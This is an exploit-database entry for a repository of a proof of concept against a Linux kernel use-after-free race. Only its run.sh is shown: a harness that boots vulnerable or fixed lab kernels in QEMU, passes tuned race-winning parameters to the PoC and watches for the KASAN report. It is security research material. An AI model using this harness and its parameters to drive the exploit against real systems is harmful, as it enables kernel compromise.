Exploit databaseDownload repository ZIP
GH-e9eb4b616a3d561248213ee792c16dbd
aramosf/cve-2026-64468
Sources for CVE-2026-64468
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files16
aramosf/cve-2026-64468Revision c3a1bcf9a00b
- assets/
- demo/
- docs/
- lab/
- offsets/
- scripts/
- .gitignore
- Makefile
- README.md
- SUBMISSION.md
- binder_chain_64468.c
- exploit.c
- kernel.config
- mkoffsets.sh
- run.sh
- verify.sh
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
run.sh
Shell · 3,354 bytes#!/bin/sh
# Boots one laboratory kernel and runs the CVE-2026-64468 proof of concept
# inside it. The guest is a disposable initramfs; nothing is written to disk
# and nothing on the host is touched.
#
# usage: ./run.sh <vulnerable|fixed> [seconds] [threads]
#
# Environment:
# TARGET_ARCH x86_64 (default) or arm64
# QEMU_CPUS guest vCPUs (default 8)
# QEMU_MEMORY_MB guest RAM in MiB (default 4096)
# NO_KVM=1 force emulation even when /dev/kvm is usable
# STOP_ON_UAF=1 stop as soon as KASAN reports the use-after-free
#
# On x86_64 the guest runs under KVM when /dev/kvm is writable. This race is
# won by throughput, so hardware acceleration matters far more than anything
# else in this laboratory.
set -eu
here=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
variant=${1:-}
duration=${2:-180}
threads=${3:-32}
target_arch=${TARGET_ARCH:-x86_64}
case "$variant" in
vulnerable|fixed) ;;
*) echo "usage: $0 vulnerable|fixed [seconds] [threads]" >&2; exit 2 ;;
esac
case "$duration:$threads" in
*[!0-9:]*|'') echo "seconds and threads must be numeric" >&2; exit 2 ;;
esac
case "$target_arch" in
x86_64|arm64) ;;
*) echo "TARGET_ARCH must be x86_64 or arm64" >&2; exit 2 ;;
esac
initramfs="$here/lab/initramfs-$target_arch.cpio.gz"
cpus=${QEMU_CPUS:-8}
memory=${QEMU_MEMORY_MB:-4096}
timeout_s=$((duration + 180))
# Validated proof-of-concept parameters, in the order the PoC parses them:
# seconds threads stagger_us victim_delay_us release_cpu ipi_us walker_cpu_base
# walker_delay_max_us walker_delay_step_us preempt_period_us preempt_hold_us
#
# The trailing "0 0" disables the optional preemption helper threads. They
# were measured to cost about three times the attempt rate without improving
# the hit rate, and attempt rate is what wins this race.
workload="$duration $threads 3 0 0 0 1 900 15 0 0"
if test "$target_arch" = x86_64; then
kernel="$here/lab/build-x86_64-$variant/arch/x86/boot/bzImage"
console=ttyS0
set -- -machine q35 -cpu host
if test -w /dev/kvm && test -z "${NO_KVM:-}"; then
set -- "$@" -enable-kvm
else
set -- -machine q35 -cpu max
fi
else
kernel="$here/lab/build-arm64-$variant/arch/arm64/boot/Image"
console=ttyAMA0
set -- -machine virt,gic-version=3 -cpu max
fi
test -f "$kernel" || { echo "missing $kernel; run lab/build.sh first" >&2; exit 2; }
test -f "$initramfs" || { echo "missing $initramfs; run lab/build.sh first" >&2; exit 2; }
command -v "qemu-system-$target_arch" >/dev/null 2>&1 ||
{ echo "qemu-system-$target_arch not found" >&2; exit 2; }
run_qemu()
{
timeout --foreground "$timeout_s" "qemu-system-$target_arch" \
"$@" -smp "$cpus" -m "$memory" \
-kernel "$kernel" -initrd "$initramfs" \
-append "console=$console rdinit=/init panic=1 oops=panic kasan_multi_shot=1 -- $workload" \
-nographic -no-reboot
}
if test -n "${STOP_ON_UAF:-}"; then
# The race is probabilistic, so a demonstration run ends when the kernel
# actually reports the use-after-free rather than after a fixed time.
run_qemu "$@" | awk '
{ print; fflush() }
/BUG: KASAN: slab-use-after-free/ { found = 1 }
found && /ret_from_fork|entry_SYSCALL_64_after_hwframe|el0t_64_sync/ {
if (++tail >= 2) exit 0
}'
exit $?
fi
run_qemu "$@"